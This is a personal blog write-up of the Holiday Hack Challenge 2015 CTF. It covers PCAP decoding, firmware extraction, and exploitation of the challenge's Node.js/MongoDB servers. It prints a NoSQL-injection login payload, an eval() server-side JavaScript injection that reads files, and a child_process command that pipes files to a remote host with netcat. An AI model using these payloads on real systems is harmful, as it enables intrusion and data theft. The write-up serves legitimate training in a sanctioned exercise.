Graham Stevens
⟵ Home

Holiday Hack Challenge 2015 - Write-Up

This was to be my very first CTF challenge, and what better time to start than during the festive period! Lots of chocolate, alcohol, and mix in a bit of hacking. Perfect to improve my skills and prove my theoretical knowledge hasn’t gone to waste.

So… lets get started:

  1. Download PCAP from ‘Josh’
  1. Download Python script from ‘Josh’
  1. Had to re-order the PCAP due to it throwing an error in Wireshark - 2 packets were out of place.

The hint from one of the NPC’s suggested using which shows how to go about re-ordering the PCAP:

#Check first packet to ensure it's loaded as expected
#Reorder the PCAP!
o=sorted(p, key=lambda ts: ts.time)
#Write the new PCAP to file

Open the python script and check the packet capture to your new re-ordered pcap. I had to do some debugging first to understand why the script was failing, this resulting in a few ‘print’ lines showing up in places to figure out what was going on, and what was expected.

First, I noticed packet[DNSRR].rdata produced a byte output, rather than a string for our Base64 encoded packet payload. I converted this to a string, and trimmed the byte identifiers etc. from the output.

The full Python script can be seen here:

#!/usr/bin/env python
# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import *     # This script requires Scapy

# Read the capture file into a list of packets

# Open the output file to save the extracted content from the pcap

for packet in packets:

   # Make sure this is a DNS packet, with the rdata record where the content is stored
   if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):
       # Make sure it's from the Gnome, not the server
       if != 53: continue
       #Trim rdata to get just the base64 encoded guff
       contents = str(packet[DNSRR].rdata)[2:-1]
       # Decode the base64 data
       # Strip off the leading "FILE:" line in the decoded data
       if str(decode)[2:7] == "FILE:":
       	   # print(str(decode)[7:-1])


I ran this twice, first direct to a file to identify some of the commands being requested by the SuperGnome server(s), and secondly to produce the outfile where our JPEG is hopefully hidden.

The file ‘output’, if opened in a hex editor will be almost there, except file header is corrupt due to some extras. Look for ‘JFIF’ and FFD8 in the hex, and delete everything before it (appears to be the file location on the Gnome). Save the file, and you should have yourself a jpg! Here’s what was sent via UDP to the SuperGnome servers:

My helpful screenshot

Next up… lets go download that firmware:


Also grab binwalk if you don’t already have it installed.

The NPC this time recommends the following whitepaper: Exploiting Embedded Devices

Here is the binwalk output:

0             0x0             PEM certificate
1809          0x711           ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
168803        0x29363         Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes,  4866 inodes, blocksize: 131072 bytes, created: Tue Dec  8 18:47:32 2015

This shows the squashfs starting at 168803 - so we can use dd to dump from there onwards:

dd if=giyh-firmware-dump.bin of=filesys.squash skip=168803 bs=1

This produces a squashfs output file, which we can check with binwalk once more (as advised by the whitepaper) to ensure it starts at block 0. Next, we need to unsquash the read-only filesystem!

unsquashfs filesys.squash

Browsing the filesystem will give us the answers we need, such as the OS (OpenWRT) and the CPU (ARM). The web framework and plaintext password for the database engine (MongoDB) can be found in the www directory. The first few lines of app.js should give you what you want.

Next up - finding those SuperGnome IPs! In the firmware still, we need to find the IPs. First port of call, is the etc folder, where the majority of the config files should reside. In here, I cat my way through some obvious choices, such as cronjobs, dropbear (ssh daemon), and then finally the hosts file gave me an IP:!

The question mentions a number of other IPs which we need to find. Fortunately, the write up on the Holiday Hack Challenge website drops a big hint: ‘visit the Dosis Neighborhood and sho Dan your plan’. So off to the hackers best friend Shodan we go.

Entering our initial IP shows a nice custom header we can use to locate the other IPs within Shodan - the X-Powered-By header! Search Shodan for GIYH::SuperGnome and you’ll find all the other servers with the same header. Remember to check these against the NPC’s in the game to ensure they are within scope.

Time to find vulnerabilities in each of the 5 SuperGnomes! We know from the brief that the SuperGnomes use the same software that is available on the Gnome firmware we have a copy of. Our earlier research shows that it is using the node.js Express web framework, as well as MongoDB.

The MongoDB config in /etc shows the data directory to be /opt/mongodb, which if you list the directory, you can spot the flat-file database files - gnome.0! You can either browse these using MongoDB installed locally on your machine, or I simply ran cat gnome.0 and looked through the data. Inside, you’ll find a username and a password. Time to try this out on each of our SuperGnomes.

Below are the exploits found on each of the SGs.


Login using admin/SittingOnAShelf, and navigate to ‘Files’, and download all the necessary files. Done!


Login as above, and take a look at the Settings tab - you’ll notice we have the option to upload a file here. This may be useful later.

Browsing the /cam and /settings routes within the index.js file shows we may have a potential SSJS attack and also an LFI (local file inclusion) attack. By combining the two, we can get around some stipulations within the code to then get access to the files we need.

First up, /cam. This users the camera query like so: /cam?camera=1

This will show us 1.png from the ./public/images folder. You’ll also notice you can use camera=1.png and what also works. The nodejs code is looking for any png file with the name ‘1’, and if found will display it. It will also take the query string directly if it contains ‘.png’ and it exists. This means we cannot simply enter 1.png/../../../ to traverse the directories locally.

Back to /settings, and here we can create folders while uploading a png. So upload folder.png/file.png, with a file of valid mime-type (or spoof it if you’d like..), and it will happily create ./public/upload/<random_string>/folder.png/ and error out on the actual upload. We can use this valid folder for our /cam route!

Here is my final URL:

This will then display the contents of gnome.conf for us. We can use this route to also download the rest of the files.


Login on this SG didn’t work. From talking to NPC’s in the game, suggested the equivilent of SQL Injection may be worth trying. They also provided a very useful link: Hacking NodeJS and MongoDB

This gets you most of the way. I ran BurpSuite and tried to login. Intercepting the POST request, I edited is follows:

Content-Type: application/json (was urlencoded)
Body: { "username": "admin","password":{"$gt": ""}}

Pop! We’re in and can freely download the files we’d like.


Login using the credentials above, again. Unlike the other SGs, the file upload section is working. Browsing index.js on our firmware shows this uses the eval() function of nodejs.

Once again, using BurpSuite, I attempted to upload a standard .png file with a post-processing item selected. Intercepting the POST request, you can edit what is run by eval() by changing the contents of postproc. Here is what I used to get the contents of gnome.conf:

postproc(res.end(require('fs').readFileSync('/gnome/www/files/gnome.conf', "utf-8")))

This however does not quite work for the larger files. This one stumped me for a while. A quick Google made me stumble upon the following link: NodeJS Server Side Javascript Injection

This shows a similar idea to begin with, and then jumps to executing locally on the box - oooo! Interesting. Lets use netcat to pipe those files over to us.

require('child_process').exec('nc SERVER_IP PORT < /gnome/www/files/')

Fire up the opposite on your own server/box, and tada!


This one was too much for me. A browse of and the discussion thread for HHC 2015 suggested exploitation needed writing payloads for buffer overflows etc. Way over my head.

If you’d like to see how SG05 could have been done, one of the more comprehensive writeups I’ve seen has been from CTFHacker

The End!

The final questions refered to who was behind this scheme, and what their plans were. There were packet captures available on each of the vulnerable hosts. By opening these in Wireshark and using the TCP follow stream option, it is possible to view the plaintext emails described by Josh in the quest text. From this we can see various messages, including attachments - in the first email we are able to see a rough drawing of the architecture behind the GIYH plan.

Subsequent emails reveal the grand plan - to use the still pictures sent from the Gnomes back to the SuperGnomes as a way of identifying valubles, which will be stolen from the houses in a swift movement on the 24th December - Christmas eve. The ‘robbers’ here, will be dressed as Santa as to help if they are discovered by any children.

The mastermind behind the scheme initially goes by the name ‘C’, however in the following emails this expands, from ‘CW’ to ‘CLW’ and then ‘Cindy Loo Who’. This is the character from ‘The Grinch’ who almost discovers the Grinch’s plan to steal all the Christmas presents.

It was also possible to play with the camera images grabbed from each of the SuperGnomes, however I ran out of time for this part unfortunately. However, CTFHacker once again has a great write-up on how to XOR the images against camera_feed_overlap_error.png from SG01. Check it out.

$ whoami I am Graham Stevens, a Cyber Security Specialist based in the South West of the UK. If you're lucky, I very occasionally post updates on Twitter/Mastodon.